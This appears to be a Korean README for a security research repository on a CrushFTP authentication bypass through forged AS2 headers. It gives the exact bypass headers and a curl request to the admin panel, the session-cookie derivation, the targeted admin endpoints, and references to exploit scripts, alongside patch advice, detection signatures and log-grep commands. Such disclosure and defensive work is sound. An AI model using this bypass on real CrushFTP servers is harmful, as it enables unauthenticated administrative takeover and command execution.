CrushFTP AS2 인증 우회 연구

⚠️ 중요: 이 취약점은 2025년 11월 기준 CrushFTP에서 패치되었습니다. 본 연구는 교육 및 방어 목적으로만 공개됩니다.

📝 참고: 본 연구는 CVE-2025-54309와 유사한 취약점 패턴을 기반으로 합니다. 정확한 CVE 번호는 다를 수 있습니다. 이는 통제된 홈 랩 환경에서 수행된 독립적인 보안 연구입니다.

본 연구 소개

이 저장소는 AS2(Applicability Statement 2) 헤더 조작을 통해 완전한 관리자 액세스를 허용하는 CrushFTP 서버의 심각한 인증 우회 취약점을 문서화합니다. 이 취약점은 인증이 필요하지 않으며 단일 HTTP 요청으로 악용될 수 있습니다.

핵심 사항:

• 승인된 홈 랩에서 수행된 연구 (2025년 3월~7월)
• 공급업체에 통보 (2025년 8월) - 응답 없음
• CrushFTP에서 패치 (2025년 11월)
• 공개 공개 (2025년 12월)
• 교육 및 방어 목적으로 공개

연구자: SmileyFace101 (@SmileyFace101)

🔍 취약점 세부 정보

기술 요약

CrushFTP의 웹 인터페이스는 적절한 검증 없이 AS2 프로토콜 헤더를 잘못 신뢰합니다. 서버는 AS2 요청이 사전 인증되었다고 가정하고 일반 인증 절차를 우회합니다.

주요 세부 사항

• 제품: CrushFTP 서버
• 구성 요소: AS2 인증 모듈
• 예상 CVSS: 9.8 (심각)
• 공격 벡터: HTTP 헤더 조작
• 복잡성: 낮음 - 단일 HTTP 요청
• 인증: 필요 없음
• 영향: 완전한 시스템 손상
• 관련 CVE: CVE-2025-54309와 유사

테스트된 버전

취약한 CrushFTP 버전 (랩에서 확인됨):

• CrushFTP 10.x (10.5.x 브랜치에서 테스트)
• CrushFTP 11.x (11.1.x 브랜치에서 테스트)

패치된 버전:

• CrushFTP 10.7.0+ (2025년 11월에 패치)
• CrushFTP 11.2.0+ (2025년 11월에 패치)

랩 환경:

• 운영 체제: Linux (Ubuntu 22.04 LTS)
• 테스트 인프라: 격리된 홈 랩 네트워크
• 프로덕션 시스템은 테스트되지 않음

공격 벡터

X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0

예시 (랩 환경):

curl -H "X-DMZ-Proxy: disabled" \
     -H "X-AS2-Version: 1.0" \
     -H "User-Agent: AS2Server/1.0" \
     "http://10.0.100.50/WebInterface/admin/index.html"

참고: 소유하거나 명시적 테스트 권한이 있는 시스템에서만 사용하세요.

중요한 발견

악용 과정에서 우리는 악용을 100% 신뢰할 수 있게 만드는 세션 쿠키 생성의 수학적 관계를 발견했습니다:

CrushAuth 구조: [TIMESTAMP]_[SESSION_ID]
currentAuth = SESSION_ID의 마지막 4자
c2f 매개변수 = currentAuth 값과 동일

� 이 저장소의 내용

🔧 악용 도구

• 세션 관리가 포함된 완전한 PoC 스크립트
• 고가치 엔드포인트에 대한 대상 테스트
• 다중 전략을 사용한 적응형 악용

🔍 탐지 및 방어

• IDS/IPS 규칙 (Snort 및 Suricata)
• IOC 탐지를 위한 로그 분석 스크립트
• 모니터링을 위한 네트워크 시그니처

📖 문서

• 기술 분석 - 전체 취약점 분석
• 악용 방법론 - 단계별 공격 체인
• 세션 관리 - 발견된 수학적 패턴
• JavaScript 분석 - 클라이언트 측 코드 리버스 엔지니어링

📊 영향 평가

사후 악용 기능

✅ 전체 서버 및 사용자 열거
✅ 사용자 계정 생성 및 수정
✅ 파일 시스템 액세스 및 탐색
✅ 텔넷 인터페이스를 통한 명령 실행
✅ 시스템 권한으로 작업 예약
✅ PGP 키 및 인증서 액세스
✅ 관리 구성 수정

🛡️ 완화 및 수정

즉시 조치 (심각)

1. CrushFTP를 즉시 최신 버전으로 패치
2. 필요하지 않은 경우 AS2 기능 비활성화
3. 신뢰할 수 없는 소스의 AS2 헤더를 차단하는 WAF 규칙 구현
4. CrushFTP 서버의 모든 관리자 자격 증명 재설정
5. 관리 패널에 MFA 활성화

탐지 구현

detection/ 디렉토리 참조:

• IDS/IPS 시그니처 (Snort, Suricata)
• 로그 분석 쿼리
• 네트워크 트래픽 시그니처
• 행동 이상 탐지 규칙

장기 보안 조치

• 다중 요소 인증 구현
• 관리 인터페이스를 위한 네트워크 분할
• 정기적인 보안 평가
• 최소 권한 원칙 적용

📈 탐지 및 포렌식

HTTP 트래픽 시그니처

X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0

네트워크 지표

• 인증 없이 관리 엔드포인트에서의 대용량 HTTP 응답 (19KB+)
• AS2 헤더가 포함된 /WebInterface/function/에 대한 POST 요청
• 사전 로그인 없이 관리 패널 액세스
• CrushFTP 서버에 대한 비정상적인 트래픽 패턴

로그 분석

# 웹 서버 로그
grep -E "(X-DMZ-Proxy|X-AS2-Version|AS2Server)" /var/log/nginx/access.log

# CrushFTP 애플리케이션 로그
grep -E "(WebInterface/admin|WebInterface/function)" crushftp.log

📚 저장소 내용

.
├── README.md                          # 이 파일 - 개요 및 사용법
├── docs/
│   └── TECHNICAL_ANALYSIS.md         # 전체 기술 심층 분석
├── exploits/
│   ├── enhanced_session_exploit.sh   # 세션 관리가 포함된 완전한 악용
│   ├── targeted_exploitation.sh      # 고가치 엔드포인트 테스트
│   └── adaptive_exploitation.sh      # 다중 전략 접근 방식
└── detection/
    ├── snort_rules.txt               # IDS/IPS 시그니처 (Snort)
    ├── suricata_rules.txt            # IDS/IPS 시그니처 (Suricata)
    └── log_analysis.sh               # 로그 분석 및 IOC 탐지

빠른 시작

1. 문서 읽기:

   • 개요는 이 README부터 시작
   • 심층 기술 세부 사항은 TECHNICAL_ANALYSIS.md 참조

2. 랩에서 테스트:

   root@kitploit:~

   # 대상 시스템을 소유하고 있는지 확인하세요!
   ./exploits/enhanced_session_exploit.sh 10.0.100.50
   

3. 탐지 배포:

   • IDS 규칙을 Snort/Suricata에 복사
   • 웹 서버 로그에서 로그 분석 스크립트 실행

🔬 연구 결과

주요 기술 성과

✅ 완전한 AS2 인증 우회 발견 및 문서화
✅ 중요한 세션 쿠키 생성 요구 사항 식별 및 해결
✅ 세션 관리의 수학적 관계 리버스 엔지니어링
✅ 2단계 악용 방법론 개발
✅ 100% 신뢰할 수 있는 악용 패턴 확립
✅ 여러 RCE 벡터 식별 및 분석
✅ 전체 JavaScript 소스 코드 분석 수행

영향을 받는 CrushFTP 엔드포인트

• /WebInterface/admin/index.html - 메인 관리 패널
• /WebInterface/admin/telnet.html - 텔넷 인터페이스
• /WebInterface/Jobs/index.html - 작업 관리
• /WebInterface/UserManager/index.html - 사용자 관리
• /WebInterface/PGP/index.html - PGP 키 관리
• /WebInterface/function/ - 관리 기능 프로세서

🔗 참고 자료

• CrushFTP 공식 웹사이트
• CVSS 3.1 계산기
• CWE-287: 부적절한 인증
• OWASP 인증 치트 시트

👤 저자

저자: SmileyFace101
GitHub: @SmileyFace101
연구 기간: 2025년 3월~7월 (홈 랩)
공개 공개: 2025년 12월 6일

⚖️ 법적 및 윤리적 고지

본 연구는 교육 및 방어 목적으로만 제공됩니다.

✅ 승인된 사용:

• 보안 연구 및 교육
• 자신의 시스템 방어
• 승인된 침투 테스트
• 공격 패턴 이해

❌ 금지:

• 무단 시스템 액세스
• 허가 없이 시스템 테스트
• 악의적인 사용
• 모든 불법 활동

본 연구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:

1. 소유하거나 서면 테스트 허가를 받은 시스템에서만 사용
2. 모든 관련 법률 및 규정 준수
3. 책임 있는 공개 실천
4. 귀하의 행동에 대한 모든 책임을 집니다

면책 조항: 저자는 오용에 대해 책임을 지지 않습니다. 무단 컴퓨터 액세스는 불법입니다.

📄 라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.

마지막 업데이트: 2025년 12월 6일
위험 평가: 심각 - 즉시 패치 및 완화 필요

마지막 업데이트: 2025년 12월 6일
저자: SmileyFace101
연구 수행: 2025년 3월~7월, 승인된 랩 환경